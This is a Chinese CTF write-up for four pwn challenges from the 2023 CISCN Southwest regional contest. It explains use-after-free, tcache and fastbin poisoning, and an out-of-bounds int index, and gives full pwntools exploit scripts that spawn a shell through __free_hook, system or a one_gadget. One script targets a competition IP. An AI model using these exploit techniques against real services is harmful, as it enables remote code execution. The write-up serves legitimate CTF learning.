2023 ciscn西南赛区 pwn Writeup
题目挺抽象的,好久没打比赛了十分手生😢,决赛加油吧
fix的话,over和artist都是加上沙箱即可。car_manager和223heap把free或者delete函数全部nop掉即可。
下面是break部分
car_manager
C++的堆菜单题,抹了函数名,逆向起来有难度的话可以动调来推测功能
申请了4个0x8的堆块作为轮子放置了tire_size和tire_pressure,0x68作为车子本体,包含了make、model、year等信息,在最后放置了四个轮子的堆块指针
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for ( i = 0; i <= 3; ++i )
{
*(&v10 + i) = operator new(8uLL);
if ( tire_size )
**(&v10 + i) = tire_size;
if ( tire_pressure )
*(*(&v10 + i) + 4) = tire_pressure;
}
if ( year )
{
std::string::basic_string(v14, make);
std::string::basic_string(v15, model);
v1 = operator new(0x68uLL);
sub_3644(v1, v14, v15, year, v10, v11, v12, v13);
v7 = v1;
std::string::~string(v15);
std::string::~string(v14);
sub_3C48(a1, &v7);
std::operator<<<std::char_traits<char>>(&std::cout, "Car added successfully!\n");
}
copy函数中在复制轮子时,也直接复制4个轮子的堆块指针,这导致free原本的车子堆块后新车辆轮子堆块内容不再是tire_size和tire_pressure,而变为tcache上的堆地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall sub_3B46(_QWORD *a1, _QWORD *a2)
{
__int64 v2; // rdx
__int64 result; // rax
__int64 v4; // rdx
std::string::basic_string(a1, a2);
std::string::basic_string(a1 + 4, a2 + 4);
a1[8] = a2[8];
v2 = a2[10];
a1[9] = a2[9];
a1[10] = v2;
result = a2[11];
v4 = a2[12];
a1[11] = result;
a1[12] = v4;
return result;
}
实际上实现了一个UAF漏洞,free函数的机制则是当我们free一个堆块时,会将下一个车子堆块依次回退一格,但高位仍保留
触发漏洞即可完成堆地址的泄露,利用UAF劫持tcache堆块的fd,申请到unsortbin堆块泄露libc,再次劫持fd申请到free_hook完成利用
(值得注意的是,在申请unsortbin位置堆块后导致双向链表被破坏,无法再从unsortbin里申请堆块,要控制劫持的tcache位置,满足申请一次需要的4个0x20堆块)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
p = process("./car_manager")
elf = ELF("./car_manager")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def add(make,model,year,size,pressure):
sla("Please enter your choice:",1)
sla("Enter the make of the car: ",make)
sla("Enter the model of the car: ",model)
sla("Enter the year of the car: ",year)
sla("Enter the size of tire : ",size)
sla("Enter the pressure of tire : ",pressure)
def dele(idx):
sla("Please enter your choice:",2)
sla("Enter the index of the car to delete: ",idx)
def find(make,model,year):
sla("Please enter your choice:",3)
sla("Enter the make of the car to find: ",make)
sla("Enter the model of the car to find: ",model)
sla("Enter the year of the car to find: ",year)
def edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx=None):
sla("Please enter your choice:",4)
sla("Enter the index of the car to modify: ",idx)
sla("Enter the new make of the car: ",make)
sla("Enter the new model of the car: ",model)
sla("Enter the new year of the car: ",year)
sla("Do you want to change all tires?(1/0)",choice)
if choice==1:
sla("Enter the new size of tire : ",tire_size)
sla("Enter the new pressure of tire : ",tire_pressure)
else:
sla("Enter the idx of tire : ",tire_idx)
sla("Enter the new size of tire : ",tire_size)
sla("Enter the new pressure of tire : ",tire_pressure)
def copy(idx):
sla("Please enter your choice:",5)
sla("Enter the index of the car to copy: ",idx)
def show():
sla("Please enter your choice:",6)
for i in range(0x101):
add('e4l4',i,1999,0x10,0x10)
copy(0)
copy(255)
dele(0)
show()
ru("Tire Sizes: 0, ")
heap_base_2 = int((ru(",")[:-1]),10)
lg('heap_base_2')
ru("Tire Pressures: 0, ")
heap_base_1 = int((ru(",")[:-1]),10)
lg('heap_base_1')
heap_base = (heap_base_1 << 32)+heap_base_2-0x011eb0
lg('heap_base')
unsort_heap_2 = (heap_base+0x01a0b0)&0xffffffff
unsort_heap_1 = (heap_base+0x01a0b0)>>32
edit(256,'e4l4',1,1999,1,unsort_heap_2+0x10,unsort_heap_1)
add('e4l4',259,1999,0,0)
show()
ru("Car 258:")
ru(", ")
libc_base_2 = int((ru(",")[:-1]),10)
ru("Tire Pressures: ")
ru(", ")
libc_base_1 = int((ru(",")[:-1]),10)
libc_base = (libc_base_1 << 32)+libc_base_2-0x1ecbe0
lg("libc_base")
free_hook = libc_base + 0x1eee48
system = libc_base + 0x52290
sh = 0x68732f6e69622f
dele(257)
show()
edit(254,'e4l4',1,1999,0,free_hook&0xffffffff,free_hook>>32,1)
edit(254,'e4l4',1,1999,0,sh&0xffffffff,sh>>32,0)
add('e4l4','e4l4',1999,system&0xffffffff,system>>32)
dele(254)
ia()
artist
这道题漏洞挺多,关键漏洞点在于3号功能在第一次使用时,可以将一个ptr堆块地址放进buf,然后可以进入一个执行分支,输入yes可以在buf附近的位置写入0,这里可以实现任意libc地址写0,但似乎用不上。最后会执行一个对buf的0x10的写入,由于第二次开始不用再输入idx就能直接对buf进行修改,如果buf的堆块被free,就达到了一个UAF的效果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 sub_1411()
{
unsigned int v1; // [rsp+8h] [rbp-38h] BYREF
int v2; // [rsp+Ch] [rbp-34h]
char s1[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = 0;
if ( isFirst )
{
write_s("What? Great artists need scrap paper for art?\n");
write_s("idx: \n");
__isoc99_scanf("%u", &v1);
buf = *(&ptr + v1 + 4);
isFirst = 0;
}
write_s("do you want crazy\n");
__isoc99_scanf("%3s", s1);
if ( !strncmp(s1, "yes", 3uLL) )
v2 = 1;
if ( v2 )
set_0();
return read_buf();
}
idx不会减少,最大为19(需要注意的是,而执行功能2当idx大于>15时程序会exit)
放置idx过大,所以利用UAF劫持申请到tcache_struct,修改tcache堆块个数,从而将堆块放入unsortbin泄露libc地址,同样的办法再劫持tcache的fd申请free_hook
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
# p = remote("","")
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def add(con):
sla(">",1)
p.sendafter("input some",con)
def edit(idx,con):
sla(">",2)
sla("idx:",idx)
sla("Would you like to make final edits?",1)
p.sendafter("input your content",con)
def show(idx):
sla(">",2)
sla("idx:",idx)
sla("Would you like to make final edits?",2)
# x/32gx $rebase(0x4088)
buf = 0x4060
ptr = 0x4088
sla("Let us get to know each other.",'e4l4')
add('a')# 0
add('a')# 1
add('a')# 2
show(2)
show(0)
show(1)
add('a')# 3
add('a')# 4
sla(">",3)
sla("idx:",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",'a')
show(3)
ru("Please enjoy your masterpiece.\n")
heap_base = uu64()
lg("heap_base")
sla(">",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",p64(heap_base-0x261+0x10))
add('a')# 5
add('\x00'*0xe+'\x07\x00')# 6
show(5)
show(4)
edit(6,'\x00'*0x10)
add('a')# 7
show(7)
libc_base = l64()-0x1ecc61
lg('libc_base')
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base +libc.sym["system"]
add('a')# 8
add('a')# 9
show(8)
show(9)
sla(">",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",p64(free_hook))
add('/bin/sh\x00')# 10
add(p64(system))
# dbg()
show(10)
ia()
over
题目看上去存在一个很复杂的算法,观察发现其3个功能都是对*(&ptr + num + 12)这个位置的值进行加减异或,而num却为int类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 *sub_156C()
{
int v0; // ecx
__int64 *result; // rax
int i; // [rsp+4h] [rbp-4Ch]
int v3; // [rsp+8h] [rbp-48h]
int v4; // [rsp+1Ch] [rbp-34h]
int v5[10]; // [rsp+20h] [rbp-30h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]
v6 = __readfsqword(0x28u);
show("what do you want to choose\n");
v3 = read_num();
if ( v3 > 4 )
exit(0);
v4 = (0x35DA * v3 - 0x4B2D) ^ 0xC925;
for ( i = 0; i <= 9; ++i )
{
v5[i] = (0x35DA * v3) ^ v3 ^ (0x35DA * v3) ^ 42641;
v5[i] += v4;
}
ptr += v4;
show("some add\n");
v0 = *(&ptr + v3 + 12) + read_num();
result = &ptr;
*(&ptr + v3 + 12) = v0;
return result;
}
题目开始将puts的真实地址放在了puts_addr 变量上。由于有效的输出函数无法泄露libc,这里可以控制num来修改puts_addr为system函数的真实地址,也就是puts函数的真实地址+相对偏移=system函数的真实地址,再调用4功能即可实现getshell。
num的计算可以参考汇编,0x28/4-0xc=-2
1
2
3
4
5
6
//*(&ptr + v3 + 12) = v0;
.text:0000000000001688 48 83 C0 0C add rax, 0Ch
.text:000000000000168C 48 8D 14 85 00 00 00 00 lea rdx, ds:0[rax*4]
.text:0000000000001694 48 8D 05 C5 29 00 00 lea rax, ptr
.text:000000000000169B 89 0C 02 mov [rdx+rax], ecx
.text:000000000000169E 90 nop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
p = remote("172.16.9.41","8888")
# p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
sla("what is your name",'/bin/sh')
def add(idx,con):
sla("what do you want to do",1)
sla("what do you want to choose",idx)
sla("some add\n",con)
def clean(idx,con):
sla("what do you want to do",2)
sla("what do you want to choose",idx)
sla("some add\n",con)
def xor(idx,con):
sla("what do you want to do",3)
sla("what do you want to choose",idx)
sla("some add\n",con)
# dbg(0x153F)
clean(-2,0x032190)
sla("what do you want to do",4)
ia()
223heap
题目一共能申请三种大小的堆块,分别存放在free/ptr/buf中(这里的free覆盖并不能达到执行函数的目的,因为free_got已经存在真实函数地址),通过切割unsortbin堆块可以获得libc地址
dele功能0/1/2分别指代buf ptr free,难点在于free(1)即free ptr时,会导致ptr_size被置为0,没有办法使用show功能,所以要注意泄露地址之前不能free(1)
由于在进行free时并不会对指针置0,可以操作指针让它们指向同一堆块,实现堆叠,利用edit功能实现UAF的利用
1
2
00000000006020c0 00000000009b6010 00000000009b6010
00000000006020d0 00000000009b6010 0000000000000000
由于2.23只能申请fastbin,所以申请0x68的堆块,劫持到malloc_hook-0x23,覆盖为one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
# p = remote("","")
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def add(size,con):
sla("input:",1)
sla("please enter size of malloc :",size)
p.sendafter("please enter contents of your heap:",con)
def edit(con):
sla("input:",4)
sla("please enter what you want to edit:",con)
def show():
sla("input:",2)
def dele(idx):
sla("input:",3)
sla("please enter which heap you want to delete:",idx)
def malloc_s():
sla("input:",5)
buf = 0x6020C0
puts = elf.plt['puts']
add(0x300,p64(puts))
add(0x38,'a')
dele(2)
add(0x100,'a')
show()
libc_base = l64()-0x3c4e61
lg('libc_base')
free_hook = libc_base+0x3c67a8
malloc_hook = libc_base+libc.sym["__malloc_hook"]
lg('free_hook')
one = libc_base + 0x4527a
dele(1)
add(0x68,'a')
dele(2)
edit(p64(malloc_hook-0x23))
add(0x60,'a')
add(0x60,'a'*0x13+p64(one))
malloc_s()
ia()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''